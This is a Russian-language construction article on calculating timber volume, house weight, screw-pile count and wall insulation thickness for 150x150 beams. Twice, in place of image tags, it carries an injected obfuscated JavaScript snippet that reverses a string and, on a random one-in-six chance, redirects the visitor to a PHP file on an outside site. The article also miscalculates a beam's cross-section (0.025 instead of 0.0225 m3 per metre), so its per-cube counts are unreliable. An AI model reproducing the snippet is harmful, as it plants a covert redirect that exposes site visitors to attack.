Сколько бруса 150х150 в кубе: решаем задачи по расчету стройматериалов

Сколько в кубе бруса 150х150? Сколько весит дом из этого бруса? Сколько свай понадобится для винтового фундамента дома известной площади?

Сегодняшнюю статью мы посвятим решению несложных математических задач, которые встают перед строителем в процессе возведения частного дома своими руками.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tov-600×412.jpg» width=»600″ height=»412″ /> Стройка начинается с закупок. Закупки — с расчетов.

Справочные данные

Вначале — немного полезной информации и справочных данных, которые помогут нам в решении.

Плотность

• Плотность бруса из лиственницы оценивается в 680 килограмм на кубометр.
• Плотность сосны примерно равна 530 кг/м3.
• Ель — 460 кг/м3.
• Кедр — 440 кг/м3.
• Пихта — 390 кг/м3.
• Дуб — 720 кг/м3.
• Бук — 650 кг/м3.
• Береза — 640 кг/м3.
• Липа — 540 кг/м3.
• Осина — 500 кг/м3.

Стоит уточнить: приведены усредненные значения.
Реальная плотность зависит от влажности древесины, от региона ее произрастания, от минерализации почвы и массы дополнительных факторов.
Разброс для одной породы может достигать 20 процентов.

Теплопроводность

Требования к тепловому сопротивлению стен изложены в СНиП 23-02-2003.

Приведем некоторые значения для разных городов России.

• Для Петропавловска-Камчатского нормированное теплосопротивление стен должно составлять 3,33 м2*С/Вт.
• Для Анадыря — 4,89 м2*С/Вт.
• Верхоянск — 5,6 м2*С/Вт.
• Красноярск — 3,59 м2*С/Вт.
• Салехард — 4,46 м2*С/Вт.
• Мурманск — 3,68 м2*С/Вт.
• Курск — 2,9 м2*С/Вт.
• Москва — 3,15 м2*С/Вт.
• Санкт-Петербург — 3,06 м2*С/Вт.
• Сочи — 1,83 м2*С/Вт.

Чему равна теплопроводность популярных строительных материалов?

• Теплопроводность железобетона оценивается в 1,69 Вт/(м*С).

Любопытно: зачастую теплопроводность оценивается в других величинах — Вт/ (м*К).
Пусть это не смущает читателя: практической разницы между шкалой Цельсия и шкалой Кельвина в нашем случае нет.

Как видите, при изменении разницы температур практической разницы нет.

• Теплопроводность красного глиняного кирпича равна 0,56 Вт/(м*С).
• Пенобетон обладает теплопроводностью 0,09 — 0,28 Вт/(м*С). Точное значение зависит от процента пористости.
• Для древесины различают теплопроводность поперек и вдоль волокон. Так, для ели поперек волокон она равна 0,09 Вт/(м*С), то вдоль — вдвое больше.
• Для дуба эти значения равны соответственно 0,12 и 0,23 Вт/(м*С).
• Теплопроводность минеральной ваты при плотности укладки, равной 100 кг/м3, оценивается в 0,056 Вт/(м*С). При плотности 50 кг/м3 теплопроводность уменьшается до 0,048 Вт/(м*С): лучшим теплоизолятором, как мы помним, служит воздух.
• Для пенопласта обычно берется значение 0,03 Вт/(м*С). Однако плотный экструдированный пенополистирол (150 кг/м3) обладает теплопроводностью уже в 0,05 Вт/(м*С).

Как, зная характеристики материалов и требования к стене, рассчитать ее минимальную толщину? Инструкция проста: нужно всего лишь умножить расчетное тепловое сопротивление на теплопроводность материала.

Практические задачи

Объем

Сколько в одном кубе бруса 150х150 в погонных метрах?

Или, если чуть усложнить задачу — сколько штук в кубе бруса 150х150х6000?

• Объем одного погонного метра — 1х0,15х0,15=0,025 м3.
• Ответ на вопрос, сколько бруса в 1 кубе 150 150, сводится к решению простенькой арифметической задачи деления: количество погонных метров равно 1/0,025=40.
• Чтобы выяснить, сколько штук в кубе бруса 150 на 150, нужно всего лишь разделить общее количество погонных метров на длину одного бруса. Так, для шестиметровых отрезков мы получим 40/6=6,7; для бруса длиной 3,5 метра — 40/3,5=11,4.

Каким будет общий объем наружных стен дома в два этажа, если его размеры — 8х8 метров при высоте этажа 3 метра?

Материал — все тот же брус 150х150 мм.

Как и другие пиломатериалы, брус обычно продается кубометрами.

• Общая длина стен равна 8х4=32 метра.
• Высота наружных стен равна 3х2=6 метров. Площадь — 32*6=192 м2.
• Как мы помним, толщина бруса равна 15 сантиметров, или 0,15 м. Соответственно, общий объем необходимого для строительства стены бруса равен 192х0,15=28,8 м3.

Обратите внимание: на практике брус закупается с запасом на обрезку не менее 10 процентов.
Кроме того, расчеты обычно несколько сложнее: брус уходит не только на стены, но и на фронтоны, и на несущие балки перекрытий.

Нагрузка на фундамент

Расчет фундамента начинается с приблизительной оценки нагрузки. Именно масса здания определяет требования и к прочности самого фундамента, и к глубине его закладки; для винтовых свай необходимо оценить их ориентировочное количество.

Как посчитать, сколько весит дом? Детальная оценка массы всех конструкций, имущества, жильцов, снега на крыше и прочих факторов довольно проблематична. Однако давно подмечено, что у мало-мальски сбалансированной конструкции общая масса примерно вдвое больше массы наружных несущих стен.

Таким образом, для оценки нагрузки на фундамент нам нужно всего лишь рассчитать массу стен при известной плотности материала и умножить ее на два.

Давайте в качестве примера рассчитаем массу одноэтажного дома площадью 100 м2 квадратной формы в плане. Высота этажа — те же три метра, что и в прошлом примере; материал — кедровый брус сечением 150х150 миллиметров.

Кедр выбран нами за его устойчивость к гниению; при этом цена кубометра примерно вдвое меньше, чем у лишь ненамного более стойкой лиственницы.

Стены из профилированного кедрового бруса.

1. При площади дома квадратной формы в 100 м2 длина каждой его стены, если пренебречь ее толщиной, будет равна 10 метрам.
2. Суммарная длина стен равна 10+10+10+10=40 метров.
3. Площадь трехметровых стен равна 40х3=120 м2.

Обратите внимание, нам нужен приблизительный, оценочный расчет.
Мы намеренно пренебрегаем площадью фронтонов двускатной крыши, которые увеличат нагрузку на фундамент, и площадью проемов (дверных и оконных), которые ее уменьшат.

4. Объем материала стены равен 120х0,15=18 кубометров.
5. При плотности древесины кедра в 440 кг/м3 общая масса наружных стен может быть оценена в 18х440=7920 кг.
6. Общая масса дома будет равна примерно 16 тоннам.

Несущая способность наиболее популярных винтовых свай сечением 108/300 (труба/лопасти) зависит от типа грунта и обычно составляет 2-4 тонны на штуку. В нашем случае потребуется не более 8 свай.

На практике, впрочем, на их количество влияет не только несущая способность, но и планировка дома: сваи устанавливаются на всех углах и под перекрестьями внутренних перегородок. Кроме того, при длине стены в 10 метров ей обязательно понадобится, по крайней мере, две дополнительные подпорки в середине.

Утепление

Как рассчитать необходимую толщину стены и выяснить, нужно ли ей дополнительной утепление?

Если справочные данные доступны, все сводится к несложной математической задаче. Она не намного сложнее, чем расчет того, сколько в кубе бруса 150 на 150 на 6 метров.

Формула упоминалась выше: толщина стены в метрах равна произведению нормированного теплового сопротивления на теплопроводность материала. Давайте выполним в качестве примера несложный расчет минимальной толщины стены для Анадыря.

Материалом станет сосновый брус.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—zima-v-anadyre-v-yanvare-temperatura-opuskaetsya-do—4-600×393.jpg» width=»600″ height=»393″ /> На фото — зима в Анадыре. В январе температура опускается до -45 градусов.

• Целевое тепловое сопротивление равно 4,89 м2*С/Вт.
• В поскольку направление теплообмена с улицей будет перпендикулярно волокнам древесины, мы можем исходить из теплопроводности сосны в 0,09 Вт/(м*С).
• Минимальная толщина стены из бруса для Анадыря равна 4,89х0,09=0,4401 метра.

Но в нашем распоряжении только брус размером 150х150! Что делать? Класть его в три ряда? В этом случае стоимость строительства станет запредельной, да и надежная перевязка слоев стены будет проблематичной…

Выход прост: стена из одиночного бруса утепляется снаружи. На нее набивается обрешетка, в которую укладывается минеральная вата или любой другой паропроницаемый утеплитель. Затем теплоизоляция закрывается ветрозащитной мембраной и зашивается деревянной вагонкой, виниловым сайдингом, профлистом или любым другим материалом на усмотрение строителя.

Какой должна быть толщина утепления? Давайте рассчитаем.

При толщина 0,15 метра брус даст тепловое сопротивление в 0,15/0,09=1,67 м2*С/Вт. Утеплитель должен обеспечить 4,89-1,67=3,22 м2*С/Вт.

Если в качестве теплоизоляционного материала мы используем минеральную вату с плотностью 50 кг/м3 (теплопроводность 0,048 Вт/м*С) , ее минимальная толщина составит 3,22х0,048=0,154 метра.

С учетом дополнительной защиты, которую обеспечит облицовка, можно с легким сердцем рекомендовать 150-миллиметровые маты утеплителя для бруса. Если хочется перестраховаться — допустимо использовать два слоя по 100 мм с перехлестом швов.

Наружное утепление стен из бруса. Минеральная вата защищается от продувания ветробарьером.

Вывод

Как видите, при доступности справочных данных расчеты не слишком сложны. А видео в этой статье дополнит наше повествование наглядной информацией. Успехов в строительстве!